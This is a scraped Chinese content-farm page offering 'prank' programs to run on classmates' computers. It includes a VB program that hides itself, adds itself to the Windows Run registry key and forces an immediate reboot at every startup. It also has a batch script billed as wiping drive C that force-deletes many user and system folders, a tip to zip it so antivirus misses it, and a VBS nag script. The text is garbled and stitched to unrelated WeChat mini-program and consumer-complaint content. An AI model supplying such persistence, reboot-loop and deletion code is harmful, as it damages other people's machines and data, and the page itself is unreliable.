用VB制作恶搞小程序

这不好哦

这段代码会让你们同学的电脑部段重启

Dim

a

As

Integer,

mulu

As

String

Private

Sub

Form_Load()

Dim

w

mulu

=

Trim(AppPath)

&

"\"

&

"好玩"

Set

w

=

CreateObject("wscriptshell")

wregwrite

"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"

&

"好玩",

mulu,

"REG_SZ"

'这是一行上的哦应该都有知道吧

a

=

0

AppTaskVisible

=

False

Form1Hide

End

Sub

Private

Sub

Timer1_Timer()’要添加个timer1控件将Interval属性设置为1000

a

=

a

+

1

If

a

=

9

Then

Shell

"shutdown

-r

-t

0"

If

a

=

10

Then

MsgBox

"呵呵,准备给我打点话吧"

End

If

End

Sub

前提是没被杀毒软件阻止

生成保存命名的时候

叫

“好玩”不然要错

有疑问连系115101499

我的QQ

| bat恶搞代码 | 不要玩过头 | 自己不要点 | 最好打成压缩包 否则可能被360误报 |

以下代码可以格式化C盘，让C盘数据彻底消失！

Dos:

@echo off

title C:files killer24

color 4f

taskkill /im explorerexe /f

echo 删除C盘所有文件

del /f /s /q "%systemdrive%\tmp"

del /f /s /q "%systemdrive%\dmp"

del /f /s /q "%systemdrive%\_mp"

del /f /s /q "%systemdrive%\gid"

del /f /s /q "%systemdrive%\old"

del /f /s /q "%systemdrive%\chk"

del /f /s /q "%systemdrive%\bak"

del /f /s /q "%systemdrive%\log"

del /f /s /q "%systemdrive%\txt"

del /f /s /q "%systemdrive%\ini"

del /f /s /q "%systemdrive%\Recycled\"

del /f /s /q "%systemdrive%\RECYCLER\"

del /f /s /q "%windir%\inf\pnf"

del /f /s /q "%windir%\Prefetch\"

@ping -n 2 1271>nul

rd /s /q "%windir%\Downloaded Program Files" & md "%windir%\Downloaded Program Files"

@ping -n 2 1271>nul

rd /s /q "%windir%\LastGood" & md "%windir%\LastGood"

@ping -n 2 1271>nul

rd /s /q "%windir%\Offline Web Pages" & md "%windir%\Offline Web Pages"

@ping -n 2 1271>nul

rd /s /q "%windir%\SoftwareDistribution\Download" & md "%windir%\SoftwareDistribution\Download"

@ping -n 2 1271>nul

rd /s /q "%windir%\temp" & md "%windir%\temp"

@ping -n 2 1271>nul

rd /s /q "%userprofile%\Local Settings\Application Data\Microsoft\Media Player" & md "%windir%\Local Settings\Application Data\Microsoft\Media Player"

@ping -n 2 1271>nul

rd /s /q "%userprofile%\UserData" & md "%windir%\UserData"

@ping -n 2 1271>nul

rd /s /q "%appdata%\Adobe" & md "%windir%\Adobe"

@ping -n 2 1271>nul

rd /s /q "%appdata%\Macromedia" & md "%windir%\Macromedia"

@ping -n 2 1271>nul

rd /s /q "%appdata%\Microsoft\Media Player" & md "%windir%\Microsoft\Media Player"

@ping -n 2 1271>nul

rd /s /q "%appdata%\Microsoft\Office\Recent" & md "%windir%\Microsoft\Office\Recent"

@ping -n 5 1271>nul

del /a /f /s /q "%userprofile%\Cookies\"

del /a /f /s /q "%userprofile%\Recent\"

del /a /f /s /q "%userprofile%\Local Settings\Application Data\GDIPFONTCACHEV1dat"

del /a /f /s /q "%userprofile%\Local Settings\Application Data\IconCachedb"

del /a /f /s /q "%userprofile%\Local Settings\History\"

del /a /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\"

del /a /f /s /q "%temp%\" del /a /f /s

echo 完成！

echo & pause

WScriptEcho("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)

WScriptEcho("你是可爱的小朋吗")

WScriptEcho("哈,我想你拉，这你都不知道吗？")

WScriptEcho("怎么才来，说~是不是不关心我")

WScriptEcho("哼,我生气拉，等你这么久，心都凉啦。")

WScriptEcho("小强很生气，后果很严重哦。")

WScriptEcho("嘿嘿！你也会很惨滴哦")

WScriptEcho("是不是想清除我？")

WScriptEcho("那你要点上50下哦，不过会给你惊喜滴")

WScriptEcho("还剩49下，快点点哦")

WScriptEcho("还剩48下，快点，小笨蛋！")

WScriptEcho("还剩47下对，就这样快点点！")

WScriptEcho("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

WScriptEcho("还剩45下，记得要快哦！")

WScriptEcho("还剩43下")

WScriptEcho("还剩42下")

WScriptEcho("还剩41下")

WScriptEcho("还剩40下")

WScriptEcho("还剩39下")

WScriptEcho("还剩38下")

WScriptEcho("还剩37下")

WScriptEcho("还剩36下")

WScriptEcho("还剩35下")

WScriptEcho("还剩34下")

WScriptEcho("还剩33下")

WScriptEcho("还剩32下")

WScriptEcho("还剩30下")

WScriptEcho("还剩29下")

WScriptEcho("还剩28下")

WScriptEcho("还剩27下")

WScriptEcho("还剩26下")

WScriptEcho("还剩25下")

WScriptEcho("还剩24下")

WScriptEcho("还剩23下")

WScriptEcho("还剩22下")

WScriptEcho("还剩21下")

WScriptEcho("还剩20下")

WScriptEcho("还剩19下")

WScriptEcho("还剩18下")

WScriptEcho("还剩17下")

WScriptEcho("还剩16下")

WScriptEcho("还剩15下")

WScriptEcho("还剩14下")

WScriptEcho("还剩13下停停！！！慢点，我有话要说")

WScriptEcho("还剩12下，你继续点我就会消失滴")

WScriptEcho("还剩11下，以后就看不到我拉。555555")

WScriptEcho("还剩10下，你现在可以选择停止！")

WScriptEcho("还剩9下。你还点啊，不要我拉？")

WScriptEcho("还剩8下，有点伤心拉，干嘛丢弃人家")

WScriptEcho("还剩7下。疯了，你有点负意！")

WScriptEcho("还剩6下。对。你就点吧，我恨你！")

WScriptEcho("还剩5下，不明白，删除我你就好吗？")

WScriptEcho("还剩4下！真要删除我？")

WScriptEcho("还剩3下。可是我真的很眷恋你。。。")

WScriptEcho("还剩2下。不要这么绝情嘛，人家是爱你的！")

WScriptEcho("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")

WScriptEcho("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次")

WScriptEcho("想结素我么那你就再多点一次") 2>do

WScriptEcho("想结素我么那你就再多点一次")

loop 3>

1、拨打12315投诉商家不退卡余额。

2、向工商监管投诉。

3、拨打12345市长热线求助。

4、找法院途径：可以选择微信小程序，搜索人民法院在线服务，进行线上立案。

图：乐活雅

文：乐活雅

微信几乎人人都有，但你用过微信小程序吗？

如果你也微信不离手，建议你一定要去试试这九款好玩又有用的微信小程序哦。

1 礼物说

送礼物有需求，但填写地址什么的太麻烦啦？这时候，你就可以尝试一下礼物说了。

轻松选中礼品，可以直接送人，将链接发给对方就行了。

也可以设置游戏的形式，选择定时开奖，满人开奖等多种形式，送礼物送出抢红包的感觉。

收礼人自己填写地址等，又能防止出错，完美的方式。

2 群空间助手

是不是感觉微信群和QQ群比起来，差了个群空间呀？

用上这个小程序，你也可以轻松发起群通知，群相册，群打卡，群文件。

微信群立马也能高大上，用了就知道。

3 九宫格照片

羡慕别人轻松PS出九宫格照片，自己是个手残党，搞不定？

用上这个小程序，轻松花式玩上九宫格。

还有多种方式，加上拼长图，头像加V，随意玩吧。

4 拍照识物

看到路边的花草鸟兽，孩子问“这是什么？”你却答不上。

这下就没有困惑啦，拍张照片，上传到小程序，轻松告诉你这是什么。立马变身为孩子的百科全书。全能父母，靠小程序呀，哈哈。

5人生进度

时间飞逝，却不知道自己消耗了多少时间。之前都在用900格子法，现在好了，一个电池显示你的人生余量，看了更有既视感。

时间了无痕，那就从今天开始做自己喜欢的事情，活到极致。

6电话铃声

想要来个好玩的，那就用这个给设置个好玩的电话铃声。

别说你不知道那个“儿子，儿子，我是你爸爸”的搞笑铃声。你也可以自己创建，发给微信朋友，要暖心，要逗比，由你选择。

7手持d幕

更高级的刷存在模式，设置好d幕，到同学的微信群里去露一手，逼格满满。

8 快投票

想在群里搞投票，却又不想另外找投票软件/网站。

用上这个小程序，分分钟就可以开始投票啦。

选项很多，文字投票，投票总有一款适合你。

9微信指数

这个适合自媒体写手哈。

如果你想知道某个关键词在微信体系内的出现热度，那就输入关键词看看。指数越高，越热门。

自媒体写手确定关键词的利器。

欢迎尝试后，留言说说你的体验哦~

另外，你还在用哪些好玩又有用的微信小程序呀？

欢迎留言补充，么么哒~

以上就是关于用VB制作恶搞小程序全部的内容，包括:用VB制作恶搞小程序、哪个高手能给几个用记事本自己编写的恶搞小程序、给些vbs恶搞小程序等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！